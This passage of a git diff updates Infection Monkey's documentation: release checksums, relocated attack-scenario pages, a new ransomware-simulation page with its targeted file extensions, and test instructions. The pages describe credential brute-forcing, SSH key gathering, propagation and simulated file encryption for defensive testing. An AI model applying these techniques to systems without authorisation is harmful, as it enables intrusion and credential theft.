page](../../reference/operating_systems_support). + ### Missing Windows update The installer requires [Windows update #2999226](https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows). diff --git a/docs/content/usage/file-checksums.md b/docs/content/usage/file-checksums.md index b063550ed..68f8d6f2a 100644 --- a/docs/content/usage/file-checksums.md +++ b/docs/content/usage/file-checksums.md @@ -37,24 +37,31 @@ $ sha256sum monkey-linux-64 | Filename | Type | Version | SHA256 | |------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| -| monkey-windows-64.exe | Windows Agent | 1.10.0 | `3b499a4cf1a67a33a91c73b05884e4d6749e990e444fa1d2a3281af4db833fa1` | -| monkey-windows-32.exe | Windows Agent | 1.10.0 | `8e891e90b11b97fbbef27f1408c1fcad486b19c612773f2d6a9edac5d4cdb47f` | -| monkey-linux-64 | Linux Agent | 1.10.0 | `932f703510b6484c3824fc797f90f99722e38a7f8956cf6fa58fdecb3790ab93` | -| monkey-linux-32 | Linux Agent | 1.10.0 | `a6de7d571051292b9db966afe025413dc20b214c4aab53e48d90d8e04264f4f5` | -| infection_monkey_deb.tgz | Debian Package | 1.10.0 | `534d85c4abc78e2c86a74d8b88759b091b62077dd9e32f02eeb43d716d359ff6` | -| infection_monkey_debzt.tgz | Debian Package | 1.10.0 | `bd01d8482f80990e6cc0ed654c07dbd80da71eebe3dd244365e9bc00f86b1c03` | -| Monkey Island v1.10.0_3593_windows.exe | Windows Installer | 1.10.0 | `ebd2c5627d21dd8670def02c3a5a995f9e799ba567cf4caacd702654264ddf06` | -| Monkey Island v1.10.0_3593_windowszt.exe | Windows Installer | 1.10.0 | `60aaf3b32e5d06c91fe0d4f1b950529517ac33796f67e9ccfef0e8ce1c5372d8` | -| infection_monkey_docker_docker_20210326_171631.tgz | Docker | 1.10.0 | `e4f9c7c5aafe7e38b33d2927a9c0cf6a3ac27858d3d0e3f2252c2e91809a78db` | -| infection_monkey_docker_dockerzt_20210326_172035.tgz | Docker | 1.10.0 | `248640e9eaa18e4c27f67237f0594d9533732f372ba4674d5d1bea43ab498cf5` | -| monkey-island-vmware.ova | OVA | 1.10.0 | `3472ad4ae557ddad7d7db8fbbfcfd33c4f2d95d870b18fa4cab49af6b562009c` | -| monkey-island-vmwarezt.ova | OVA | 1.10.0 | `3472ad4ae557ddad7d7db8fbbfcfd33c4f2d95d870b18fa4cab49af6b562009c` | +| monkey-windows-64.exe | Windows Agent | 1.11.0 | `12c55377381a8fc7d8ff731db52302ef2f8bb894d8712769e5a91a140ba22b0a` | +| monkey-windows-32.exe | Windows Agent | 1.11.0 | `e006b26663f59b92bad8d49b034cd8101dd481f881e3c4839a9c1e64fd99e849` | +| monkey-linux-64 | Linux Agent | 1.11.0 | `fb4c979ce6c29bb458be50a44cc6839650826b831da849da69a05dfefdc66462` | +| monkey-linux-32 | Linux Agent | 1.11.0 | `88d6d717f99047ae6f8ff9527b41ff004217c99b1b027f112d062dd9e66d11ab` | +| Infection_Monkey-1.11.0-x86_64.AppImage | Linux Package | 1.11.0 | `6312b6bff18c11c7db694f42cf5a41e894786c39e3e093b6b15abcbff80337f2` | +| infection_monkey_docker_20210811_211212.tgz | Docker | 1.11.0 | `40f203387cadd153f97c6a21dfdddacd4d4eeea334a9300d862bfb4ba528e2e6` | +| Monkey Island v1.11.0_3789.exe | Windows Installer | 1.11.0 | `20633c1993ea5f86b57b3a48d6875e8f72881f856f4713d747f07a559da05ccc` | ## Older checksums | Filename | Type | Version | SHA256 | |------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| +| monkey-windows-64.exe | Windows Agent | 1.10.0 | `3b499a4cf1a67a33a91c73b05884e4d6749e990e444fa1d2a3281af4db833fa1` | +| monkey-windows-32.exe | Windows Agent | 1.10.0 | `8e891e90b11b97fbbef27f1408c1fcad486b19c612773f2d6a9edac5d4cdb47f` | +| monkey-linux-64 | Linux Agent | 1.10.0 | `932f703510b6484c3824fc797f90f99722e38a7f8956cf6fa58fdecb3790ab93` | +| monkey-linux-32 | Linux Agent | 1.10.0 | `a6de7d571051292b9db966afe025413dc20b214c4aab53e48d90d8e04264f4f5` | +| infection_monkey_deb.tgz | Debian Package | 1.10.0 | `534d85c4abc78e2c86a74d8b88759b091b62077dd9e32f02eeb43d716d359ff6` | +| infection_monkey_debzt.tgz | Debian Package | 1.10.0 | `bd01d8482f80990e6cc0ed654c07dbd80da71eebe3dd244365e9bc00f86b1c03` | +| Monkey Island v1.10.0_3593_windows.exe | Windows Installer | 1.10.0 | `ebd2c5627d21dd8670def02c3a5a995f9e799ba567cf4caacd702654264ddf06` | +| Monkey Island v1.10.0_3593_windowszt.exe | Windows Installer | 1.10.0 | `60aaf3b32e5d06c91fe0d4f1b950529517ac33796f67e9ccfef0e8ce1c5372d8` | +| infection_monkey_docker_docker_20210326_171631.tgz | Docker | 1.10.0 | `e4f9c7c5aafe7e38b33d2927a9c0cf6a3ac27858d3d0e3f2252c2e91809a78db` | +| infection_monkey_docker_dockerzt_20210326_172035.tgz | Docker | 1.10.0 | `248640e9eaa18e4c27f67237f0594d9533732f372ba4674d5d1bea43ab498cf5` | +| monkey-island-vmware.ova | OVA | 1.10.0 | `3472ad4ae557ddad7d7db8fbbfcfd33c4f2d95d870b18fa4cab49af6b562009c` | +| monkey-island-vmwarezt.ova | OVA | 1.10.0 | `3472ad4ae557ddad7d7db8fbbfcfd33c4f2d95d870b18fa4cab49af6b562009c` | | monkey-windows-64.exe | Windows Agent | 1.9.0 | `24622cb8dbabb0cf4b25ecd3c13800c72ec5b59b76895b737ece509640d4c068` | | monkey-windows-32.exe | Windows Agent | 1.9.0 | `67f12171c3859a21fc8f54c5b2299790985453e9ac028bb80efc7328927be3d8` | | monkey-linux-64 | Linux Agent | 1.9.0 | `aec6b14dc2bea694eb01b517cca70477deeb695f39d40b1d9e5ce02a8075c956` | diff --git a/docs/content/usage/scenarios/_index.md b/docs/content/usage/scenarios/_index.md new file mode 100644 index 000000000..dedaf554c --- /dev/null +++ b/docs/content/usage/scenarios/_index.md @@ -0,0 +1,29 @@ ++++ +title = "Scenarios" +date = 2020-08-12T12:52:59+03:00 +weight = 3 +chapter = true +pre = " " ++++ + +# Scenarios + +This section describes the different attack scenarios that the Infection Monkey can simulate. + +{{% notice note %}} +Don't worry! The Infection Monkey uses safe exploiters and does not cause any permanent system modifications that could impact security or operations. +{{% /notice %}} + +The Infection Monkey has pre-built scenarios to simulate common types of attacks that take place. These scenarios, when selected, manipulate the configuration to only show you what you need to see for that scenario. This makes it possible for you to quickly run the Monkey on your network in order to accomplish a specific objective. + +Choosing the "Custom" scenario will allow you to fine-tune your simulation and access all available features. [Read more about configuring a custom simulation.](/custom-scenario/_index.md) + +![Choose scenario](/images/usage/scenarios/choose-scenario.png "Choose a scenario") + +To exit a scenario and select another one, click on "Start Over". + +![Start over](/images/usage/scenarios/start-over.png "Start over") + +## Section contents + +{{% children description=True style="p"%}} diff --git a/docs/content/usage/scenarios/custom-scenario/_index.md b/docs/content/usage/scenarios/custom-scenario/_index.md new file mode 100644 index 000000000..43d79c9c4 --- /dev/null +++ b/docs/content/usage/scenarios/custom-scenario/_index.md @@ -0,0 +1,18 @@ +--- +title: " Custom" +date: 2021-07-28T14:36:02+05:30 +description: "Configure a custom scenario to test your network's defenses." +weight: 100 +pre: "" +chapter: true +--- + +# Custom + +The Infection Monkey is a versatile breach and attack simulation tool. Choosing the "Custom" scenario will allow you to access all of its capabilities and configure the simulation exactly according to your needs. You can enhance, optimize, and fine-tune the Monkey's behavior. + +![Custom scenario](/images/usage/scenarios/custom-scenario.png "Custom scenario") + +Below are some examples with instructions on how to configure them. + +{{% children description=True style="p"%}} diff --git a/docs/content/usage/use-cases/attack.md b/docs/content/usage/scenarios/custom-scenario/attack.md similarity index 98% rename from docs/content/usage/use-cases/attack.md rename to docs/content/usage/scenarios/custom-scenario/attack.md index bc13181cc..476a8183e 100644 --- a/docs/content/usage/use-cases/attack.md +++ b/docs/content/usage/scenarios/custom-scenario/attack.md @@ -6,14 +6,14 @@ description: "Assess your network security detection and prevention capabilities weight: 2 --- -## Overview +## Overview The Infection Monkey can simulate various [ATT&CK](https://attack.mitre.org/matrices/enterprise/) techniques on the network. Use it to assess your security solutions' detection and prevention capabilities. The Infection Monkey will help you find which ATT&CK techniques go unnoticed and provide specific details along with suggested mitigations. ## Configuration -- **ATT&CK matrix** You can use the ATT&CK configuration section to select which techniques you want the Infection Monkey to simulate. +- **ATT&CK matrix** You can use the ATT&CK configuration section to select which techniques you want the Infection Monkey to simulate. For the full simulation, use the default settings. - **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times. - **Network -> Scope** Disable “Local network scan” and instead provide specific network ranges in the “Scan target list”. diff --git a/docs/content/usage/use-cases/credential-leak.md b/docs/content/usage/scenarios/custom-scenario/credential-leak.md similarity index 91% rename from docs/content/usage/use-cases/credential-leak.md rename to docs/content/usage/scenarios/custom-scenario/credential-leak.md index fa740b3a9..a2cc0b8ce 100644 --- a/docs/content/usage/use-cases/credential-leak.md +++ b/docs/content/usage/scenarios/custom-scenario/credential-leak.md @@ -6,30 +6,30 @@ description: "Assess the impact of a successful phishing attack, insider threat, weight: 5 --- -## Overview +## Overview -Numerous attack techniques (from phishing to dumpster diving) might result in a credential leak, +Numerous attack techniques (from phishing to dumpster diving) might result in a credential leak, which can be **extremely costly** as demonstrated in our report [IResponse to IEncrypt](https://www.guardicore.com/2019/04/iresponse-to-iencrypt/). -The Infection Monkey can help you assess the impact of stolen credentials by automatically searching +The Infection Monkey can help you assess the impact of stolen credentials by automatically searching where bad actors can reuse these credentials in your network. ## Configuration -- **Exploits -> Credentials** After setting up the Monkey Island, add your users' **real** credentials +- **Exploits -> Credentials** After setting up the Monkey Island, add your users' **real** credentials (usernames and passwords) here. Don't worry; this sensitive data is not accessible, distributed or used in any way other than being sent to the Infection Monkey agents. You can easily eliminate it by resetting the configuration of your Monkey Island. -- **Internal -> Exploits -> SSH keypair list** When enabled, the Infection Monkey automatically gathers SSH keys on the current system. +- **Internal -> Exploits -> SSH keypair list** When enabled, the Infection Monkey automatically gathers SSH keys on the current system. For this to work, the Monkey Island or initial agent needs to access SSH key files. To make sure SSH keys were gathered successfully, refresh the page and check this configuration value after you run the Infection Monkey (content of keys will not be displayed, it will appear as ``). ## Suggested run mode -Execute the Infection Monkey on a chosen machine in your network using the “Manual” run option. +Execute the Infection Monkey on a chosen machine in your network using the “Manual” run option. Run the Infection Monkey as a privileged user to make sure it gathers as many credentials from the system as possible. ![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists") ## Assessing results -To assess the impact of leaked credentials see the Security report. Examine **Security report -> Stolen credentials** to confirm. +To assess the impact of leaked credentials see the Security report. Examine **Security report -> Stolen credentials** to confirm. diff --git a/docs/content/usage/use-cases/network-breach.md b/docs/content/usage/scenarios/custom-scenario/network-breach.md similarity index 82% rename from docs/content/usage/use-cases/network-breach.md rename to docs/content/usage/scenarios/custom-scenario/network-breach.md index ff6885100..22fc3b9dc 100644 --- a/docs/content/usage/use-cases/network-breach.md +++ b/docs/content/usage/scenarios/custom-scenario/network-breach.md @@ -6,7 +6,7 @@ description: "Simulate an internal network breach and assess the potential impac weight: 3 --- -## Overview +## Overview From the [Hex-Men campaign](https://www.guardicore.com/2017/12/beware-the-hex-men/) that hit internet-facing DB servers to a [cryptomining operation that attacks WordPress sites](https://www.guardicore.com/2018/06/operation-prowli-traffic-manipulation-cryptocurrency-mining-2/) or any other malicious campaign – attackers are now trying to go deeper into your network. @@ -15,15 +15,15 @@ Infection Monkey will help you assess the impact of a future breach by attemptin ## Configuration -- **Exploits -> Exploits** Here you can review the exploits the Infection Monkey will be using. By default all +- **Exploits -> Exploits** Here you can review the exploits the Infection Monkey will be using. By default all safe exploiters are selected. - **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times. - **Network -> Scope** Make sure to properly configure the scope of the scan. You can select **Local network scan** - and allow Monkey to propagate until maximum **Scan depth**(hop count) is reached, or you can fine tune it by providing - specific network ranges in **Scan target list**. Scanning a local network is more realistic, but providing specific + and allow Monkey to propagate until maximum **Scan depth**(hop count) is reached, or you can fine tune it by providing + specific network ranges in **Scan target list**. Scanning a local network is more realistic, but providing specific targets will make the scanning process substantially faster. - **(Optional) Internal -> Network -> TCP scanner** Here you can add custom ports your organization is using. -- **(Optional) Monkey -> Post-Breach Actions** If you only want to test propagation in the network, you can turn off +- **(Optional) Monkey -> Post-Breach Actions** If you only want to test propagation in the network, you can turn off all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system but in no way helps the Infection Monkey exploit new machines. @@ -31,17 +31,17 @@ all post-breach actions. These actions simulate an attacker's behavior after get ## Suggested run mode -Decide which machines you want to simulate a breach on and use the “Manual” run option to start the Infection Monkey on them. -Use administrative privileges to run the Infection Monkey to simulate an attacker that was able to elevate their privileges. -You could also simulate an attack initiated from an unidentified machine connected to the network (e.g., a technician -laptop or third-party vendor machine) by running the Infection Monkey on a dedicated machine with an IP in the network you +Decide which machines you want to simulate a breach on and use the “Manual” run option to start the Infection Monkey on them. +Use administrative privileges to run the Infection Monkey to simulate an attacker that was able to elevate their privileges. +You could also simulate an attack initiated from an unidentified machine connected to the network (e.g., a technician +laptop or third-party vendor machine) by running the Infection Monkey on a dedicated machine with an IP in the network you wish to test. ## Assessing results -Check the infection map and Security report to see how far The Infection Monkey managed to propagate in your network and which -vulnerabilities it successfully exploited. If you left post-breach actions selected, you should also check the MITRE ATT&CK and +Check the infection map and Security report to see how far The Infection Monkey managed to propagate in your network and which +vulnerabilities it successfully exploited. If you left post-breach actions selected, you should also check the MITRE ATT&CK and Zero Trust reports for more details. ![Map](/images/usage/use-cases/map-full-cropped.png "Map") diff --git a/docs/content/usage/use-cases/network-segmentation.md b/docs/content/usage/scenarios/custom-scenario/network-segmentation.md similarity index 95% rename from docs/content/usage/use-cases/network-segmentation.md rename to docs/content/usage/scenarios/custom-scenario/network-segmentation.md index 0f03b66a1..87fe24f24 100644 --- a/docs/content/usage/use-cases/network-segmentation.md +++ b/docs/content/usage/scenarios/custom-scenario/network-segmentation.md @@ -6,7 +6,7 @@ description: "Verify your network is properly segmented." weight: 4 --- -## Overview +## Overview Segmentation is a method of creating secure zones in data centers and cloud deployments. It allows organizations to isolate workloads from one another and secure them individually, typically using policies. A useful way to test your company's segmentation effectiveness is to ensure that your network segments are properly separated (e.g., your development environment is isolated from your production environment and your applications are isolated from one another). @@ -18,15 +18,15 @@ You can use the Infection Monkey's cross-segment traffic feature to verify that ## Configuration - **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define - subnets that should be segregated from each other. If any of the provided networks can reach each other, you'll see it + subnets that should be segregated from each other. If any of the provided networks can reach each other, you'll see it in the security report. - **(Optional) Network -> Scope** You can disable **Local network scan** and leave all other options at the default setting if you only want to test for network segmentation without any lateral movement. - **(Optional) Monkey -> Post-Breach Actions** If you only want to test segmentation in the network, you can turn off all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system, so they might trigger your defense solutions and interrupt the segmentation test. ## Suggested run mode -Execute The Infection Monkey on machines in different subnetworks using the “Manual” run option. - +Execute The Infection Monkey on machines in different subnetworks using the “Manual” run option. + Note that if the Infection Monkey can't communicate to the Monkey Island, it will not be able to send scan results, so make sure all machines can reach the the Monkey Island. diff --git a/docs/content/usage/use-cases/other.md b/docs/content/usage/scenarios/custom-scenario/other.md similarity index 88% rename from docs/content/usage/use-cases/other.md rename to docs/content/usage/scenarios/custom-scenario/other.md index c22bb0296..456b0486c 100644 --- a/docs/content/usage/use-cases/other.md +++ b/docs/content/usage/scenarios/custom-scenario/other.md @@ -6,23 +6,23 @@ description: "Tips and tricks about configuring Monkeys for your needs." weight: 100 --- -## Overview +## Overview This page provides additional information about configuring the Infection Monkey, tips and tricks and creative usage scenarios. ## Custom behaviour -If you want the Infection Monkey to run a specific script or tool after it breaches a machine, you can configure it in -**Configuration -> Monkey -> Post-breach**. Input commands you want to execute in the corresponding fields. +If you want the Infection Monkey to run a specific script or tool after it breaches a machine, you can configure it in +**Configuration -> Monkey -> Post-breach**. Input commands you want to execute in the corresponding fields. You can also upload files and call them through the commands you entered. ## Accelerate the test -To improve scanning speed you could **specify a subnet instead of scanning all of the local network**. +To improve scanning speed you could **specify a subnet instead of scanning all of the local network**. The following configuration values also have an impact on scanning speed: - **Credentials** - The more usernames and passwords you input, the longer it will take the Infection Monkey to scan machines that have remote access services. The Infection Monkey agents try to stay elusive and leave a low impact, and thus brute-forcing takes longer than with loud conventional tools. -- **Network scope** - Scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your +- **Network scope** - Scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your networks bit by bit with multiple runs. - **Post-breach actions** - If you only care about propagation, you can disable most of these. - **Internal -> TCP scanner** - Here you can trim down the list of ports the Infection Monkey tries to scan, improving performance. @@ -37,7 +37,7 @@ Use **Monkey -> Persistent** scanning configuration section to either run period ## Credentials -Every network has its old "skeleton keys" that it should have long discarded. Configuring the Infection Monkey with old and stale passwords will enable you to ensure they were really discarded. +Every network has its old "skeleton keys" that it should have long discarded. Configuring the Infection Monkey with old and stale passwords will enable you to ensure they were really discarded. To add the old passwords, go to the Monkey Island's **Exploit password list** under **Basic - Credentials** and use the "+" button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration: @@ -45,9 +45,9 @@ To add the old passwords, go to the Monkey Island's **Exploit password list** un ## Check logged and monitored terminals -To see the Infection Monkey executing in real-time on your servers, add the **post-breach action** command: -`wall “Infection Monkey was here”`. This post-breach command will broadcast a message across all open terminals on the servers the Infection Monkey breached to achieve the following: -- Let you know the Monkey ran successfully on the server. +To see the Infection Monkey executing in real-time on your servers, add the **post-breach action** command: +`wall “Infection Monkey was here”`. This post-breach command will broadcast a message across all open terminals on the servers the Infection Monkey breached to achieve the following: +- Let you know the Monkey ran successfully on the server. - Let you follow the breach “live” alongside the infection map. - Check which terminals are logged and monitored inside your network. diff --git a/docs/content/usage/use-cases/zero-trust.md b/docs/content/usage/scenarios/custom-scenario/zero-trust.md similarity index 93% rename from docs/content/usage/use-cases/zero-trust.md rename to docs/content/usage/scenarios/custom-scenario/zero-trust.md index 56b294cbc..2e54dc73e 100644 --- a/docs/content/usage/use-cases/zero-trust.md +++ b/docs/content/usage/scenarios/custom-scenario/zero-trust.md @@ -6,18 +6,18 @@ description: "See where you stand in your Zero Trust journey." weight: 1 --- -## Overview +## Overview Want to assess your progress in achieving a Zero Trust network? The Infection Monkey can automatically evaluate your readiness across the different [Zero Trust Extended Framework](https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210) principles. -You can additionally scan your cloud infrastructure's compliance to ZeroTrust principles using [ScoutSuite integration.](/usage/integrations/scoutsuite) +You can additionally scan your cloud infrastructure's compliance to ZeroTrust principles using [ScoutSuite integration.]({{< ref "/usage/integrations/scoutsuite" >}}) ## Configuration - **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times. - **Network -> Scope** Disable “Local network scan” and instead provide specific network ranges in the “Scan target list.” -- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define +- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define subnets that should be segregated from each other. In general, other configuration value defaults should be good enough, but feel free to see the “Other” section for tips and tricks about more features and in-depth configuration parameters you can use. @@ -31,4 +31,3 @@ Run the Infection Monkey on as many machines as you can. You can easily achieve ## Assessing results You can see your results in the Zero Trust report section. “The Summary” section will give you an idea about which Zero Trust pillars were the Infection Monkey tested, how many tests were performed and test statuses. Specific tests are described in the “Test Results” section. The “Findings” section shows details about the Monkey actions. Click on “Events” of different findings to observe what exactly the Infection Monkey did and when it did it. This should make it easy to cross reference events with your security solutions and alerts/logs. - diff --git a/docs/content/usage/scenarios/ransomware-simulation.md b/docs/content/usage/scenarios/ransomware-simulation.md new file mode 100644 index 000000000..6088ec7bc --- /dev/null +++ b/docs/content/usage/scenarios/ransomware-simulation.md @@ -0,0 +1,161 @@ +--- +title: " Ransomware Simulation" +date: 2021-06-23T18:13:59+05:30 +draft: false +description: "Simulate a ransomware attack on your network and assess the potential damage." +weight: 1 +pre: "" +--- + +The Infection Monkey is capable of simulating a ransomware attack on your +network using a set of configurable behaviors. + + +## Encryption + +In order to simulate the behavior of ransomware as accurately as possible, +the Infection Monkey can [encrypt user-specified files](#configuring-encryption) +using a [fully reversible algorithm](#how-are-the-files-encrypted). A number of +mechanisms are in place to ensure that all actions performed by the encryption +routine are safe for production environments. + +### Preparing your environment for a ransomware simulation + +The Infection Monkey will only encrypt files that you allow it to. In +order to take full advantage of the Infection Monkey's ransomware simulation, you'll +need to provide the Infection Monkey with a directory that contains files that +are safe for it to encrypt. The recommended approach is to use a remote +administration tool, such as +[Ansible](https://docs.ansible.com/ansible/latest/user_guide/) or +[PsExec](https://theitbros.com/using-psexec-to-run-commands-remotely/) to add a +"ransomware target" directory to each machine in your environment. The Infection +Monkey can then be configured to encrypt files in this directory. + +### Configuring encryption + +To ensure minimum interference and easy recoverability, the ransomware +simulation will only encrypt files contained in a user-specified directory. If +no directory is specified, no files will be encrypted. + +![Ransomware configuration](/images/usage/scenarios/ransomware-config.png "Ransomware configuration") + +### How are the files encrypted? + +Files are "encrypted" in place with a simple bit flip. Encrypted files are +renamed to have `.m0nk3y` appended to their names. This is a safe way to +simulate encryption since it is easy to "decrypt" your files. You can simply +perform a bit flip on the files again and rename them to remove the appended +`.m0nk3y` extension. + +Flipping a file's bits is sufficient to simulate the encryption behavior of +ransomware, as the data in your files has been manipulated (leaving them +temporarily unusuable). Files are then renamed with a new extension appended, +which is similar to the way that many ransomwares behave. As this is a +simulation, your +security solutions should be triggered to notify you or prevent these changes +from taking place. + +### Which files are encrypted? + +During the ransomware simulation, attempts will be made to encrypt all regular +files with [targeted file extensions](#files-targeted-for-encryption) in the +configured directory. The simulation is not recursive, i.e. it will not touch +any files in sub-directories of the configured directory. The Infection Monkey will +not follow any symlinks or shortcuts. + +These precautions are taken to prevent the Infection Monkey from accidentally +encrypting files that you didn't intend to encrypt. + +### Files targeted for encryption + +Only regular files with certain extensions are encrypted by the ransomware +simulation. This list is based on the [analysis of the Goldeneye ransomware by +BitDefender](https://labs.bitdefender.com/2017/07/a-technical-look-into-the-goldeneye-ransomware-attack/). + +- .3ds +- .7z +- .accdb +- .ai +- .asp +- .aspx +- .avhd +- .avi +- .back +- .bak +- .c +- .cfg +- .conf +- .cpp +- .cs +- .ctl +- .dbf +- .disk +- .djvu +- .doc +- .docx +- .dwg +- .eml +- .fdb +- .giff +- .gz +- .h +- .hdd +- .jpg +- .jpeg +- .kdbx +- .mail +- .mdb +- .mpg +- .mpeg +- .msg +- .nrg +- .ora +- .ost +- .ova +- .ovf +- .pdf +- .php +- .pmf +- .png +- .ppt +- .pptx +- .pst +- .pvi +- .py +- .pyc +- .rar +- .rtf +- .sln +- .sql +- .tar +- .tiff +- .txt +- .vbox +- .vbs +- .vcb +- .vdi +- .vfd +- .vmc +- .vmdk +- .vmsd +- .vmx +- .vsdx +- .vsv +- .work +- .xls +- .xlsx +- .xvd +- .zip + + +## Leaving a README.txt file + +Many ransomware packages leave a README.txt file on the victim machine with an +explanation of what has occurred and instructions for paying the attacker. +The Infection Monkey will also leave a README.txt file in the target directory on +the victim machine in order to replicate this behavior. + +The README.txt file informs the user that a ransomware simulation has taken +place and that they should contact their administrator. The contents of the +file can be found +[here](https://github.com/guardicore/monkey/tree/develop/monkey/infection_monkey/ransomware/ransomware_readme.txt). diff --git a/docs/content/usage/use-cases/_index.md b/docs/content/usage/use-cases/_index.md deleted file mode 100644 index d15d6b3c6..000000000 --- a/docs/content/usage/use-cases/_index.md +++ /dev/null @@ -1,20 +0,0 @@ -+++ -title = "Use Cases" -date = 2020-08-12T12:52:59+03:00 -weight = 3 -chapter = true -pre = " " -+++ - -# Use cases - -This section describes possible use cases for the Infection Monkey and how you can configure the tool. -You can also refer to [our FAQ](../../faq) for more specific questions and answers. - -{{% notice note %}} -Don't worry! The Infection Monkey uses safe exploiters and does not cause any permanent system modifications that could impact security or operations. -{{% /notice %}} - -## Section contents - -{{% children description=True style="p"%}} diff --git a/docs/layouts/shortcodes/homepage_shortcuts.html b/docs/layouts/shortcodes/homepage_shortcuts.html index df26d2ae5..7ae2fdbd7 100644 --- a/docs/layouts/shortcodes/homepage_shortcuts.html +++ b/docs/layouts/shortcodes/homepage_shortcuts.html @@ -74,10 +74,10 @@
diff --git a/docs/static/images/usage/reports/ransomware_report_1_breach.png b/docs/static/images/usage/reports/ransomware_report_1_breach.png new file mode 100644 index 000000000..9c792ee06 Binary files /dev/null and b/docs/static/images/usage/reports/ransomware_report_1_breach.png differ diff --git a/docs/static/images/usage/reports/ransomware_report_2_lateral_movement.png b/docs/static/images/usage/reports/ransomware_report_2_lateral_movement.png new file mode 100644 index 000000000..77f18a52a Binary files /dev/null and b/docs/static/images/usage/reports/ransomware_report_2_lateral_movement.png differ diff --git a/docs/static/images/usage/reports/ransomware_report_3_attack.png b/docs/static/images/usage/reports/ransomware_report_3_attack.png new file mode 100644 index 000000000..ca2af4241 Binary files /dev/null and b/docs/static/images/usage/reports/ransomware_report_3_attack.png differ diff --git a/docs/static/images/usage/scenarios/choose-scenario.png b/docs/static/images/usage/scenarios/choose-scenario.png new file mode 100644 index 000000000..14dd14e04 Binary files /dev/null and b/docs/static/images/usage/scenarios/choose-scenario.png differ diff --git a/docs/static/images/usage/scenarios/custom-scenario.png b/docs/static/images/usage/scenarios/custom-scenario.png new file mode 100644 index 000000000..d82c454f6 Binary files /dev/null and b/docs/static/images/usage/scenarios/custom-scenario.png differ diff --git a/docs/static/images/usage/scenarios/ransomware-config.png b/docs/static/images/usage/scenarios/ransomware-config.png new file mode 100644 index 000000000..ca4ae8980 Binary files /dev/null and b/docs/static/images/usage/scenarios/ransomware-config.png differ diff --git a/docs/static/images/usage/scenarios/start-over.png b/docs/static/images/usage/scenarios/start-over.png new file mode 100644 index 000000000..60deecfa1 Binary files /dev/null and b/docs/static/images/usage/scenarios/start-over.png differ diff --git a/envs/monkey_zoo/.gitignore b/envs/monkey_zoo/.gitignore index be22d3037..e7549cdec 100644 --- a/envs/monkey_zoo/.gitignore +++ b/envs/monkey_zoo/.gitignore @@ -1,2 +1,2 @@ logs/ -/blackbox/tests/performance/telem_sample +/blackbox/tests/performance/telemetry_sample diff --git a/envs/monkey_zoo/blackbox/README.md b/envs/monkey_zoo/blackbox/README.md index 808a0a5cb..a1cb95962 100644 --- a/envs/monkey_zoo/blackbox/README.md +++ b/envs/monkey_zoo/blackbox/README.md @@ -1,20 +1,22 @@ # Automatic blackbox tests ### Prerequisites 1. Download google sdk: https://cloud.google.com/sdk/docs/ -2. Download service account key for MonkeyZoo project (if you deployed MonkeyZoo via terraform scripts then you already have it). +2. Download service account key for MonkeyZoo project (if you deployed MonkeyZoo via terraform scripts then you already have it). GCP console -> IAM -> service accounts(you can use the same key used to authenticate terraform scripts). Place the key in `envs/monkey_zoo/gcp_keys/gcp_key.json`. -3. Deploy the relevant branch + complied executables to the Island machine on GCP. +3. Deploy the relevant branch + complied executables to the Island machine on GCP. ### Running the tests -In order to execute the entire test suite, you must know the external IP of the Island machine on GCP. You can find -this information in the GCP Console `Compute Engine/VM Instances` under _External IP_. +In order to execute the entire test suite, you must know the external IP of the Island machine on GCP. You can find +this information in the GCP Console `Compute Engine/VM Instances` under _External IP_. #### Running in command line +Either run pytest from `/monkey` directory or set `PYTHONPATH` environment variable to +`/monkey` directory so that blackbox tests can import other monkey code. Blackbox tests have following parameters: - `--island=IP` Sets island's IP - `--no-gcp` (Optional) Use for no interaction with the cloud (local test). -- `--quick-performance-tests` (Optional) If enabled performance tests won't reset island and won't send telemetries, +- `--quick-performance-tests` (Optional) If enabled performance tests won't reset island and won't send telemetries, instead will just test performance of endpoints in already present island state. Example run command: @@ -27,22 +29,23 @@ directory `monkey\envs\monkey_zoo\blackbox`. ### Running telemetry performance test -**Before running performance test make sure browser is not sending requests to island!** +**Before running performance test make sure browser is not sending requests to island!** To run telemetry performance test follow these steps: -0. Set `server_config.json` to "standard" (no password protection) setting. +0. Set no password protection on the island. +Make sure the island parameter is an IP address(not localhost) as the name resolution will increase the time for requests. 1. Gather monkey telemetries. - 1. Enable "Export monkey telemetries" in Configuration -> Internal -> Tests if you don't have + 1. Enable "Export monkey telemetries" in Configuration -> Internal -> Tests if you don't have exported telemetries already. 2. Run monkey and wait until infection is done. - 3. All telemetries are gathered in `monkey/telem_sample` + 3. All telemetries are gathered in `monkey/telem_sample`. If not, restart the island process. 2. Run telemetry performance test. - 1. Move directory `monkey/test_telems` to `envs/monkey_zoo/blackbox/tests/performance/test_telems` - 2. (Optional) Use `envs/monkey_zoo/blackbox/tests/performance/utils/telem_parser.py` to multiply + 1. Move directory `monkey/telem_sample` to `envs/monkey_zoo/blackbox/tests/performance/telemetry_sample` + 2. (Optional) Use `envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py` to multiply telemetries gathered. - 1. Run `telem_parser.py` script with working directory set to `monkey\envs\monkey_zoo\blackbox` + 1. Run `sample_multiplier.py` script with working directory set to `monkey\envs\monkey_zoo\blackbox` 2. Pass integer to indicate the multiplier. For example running `telem_parser.py 4` will replicate telemetries 4 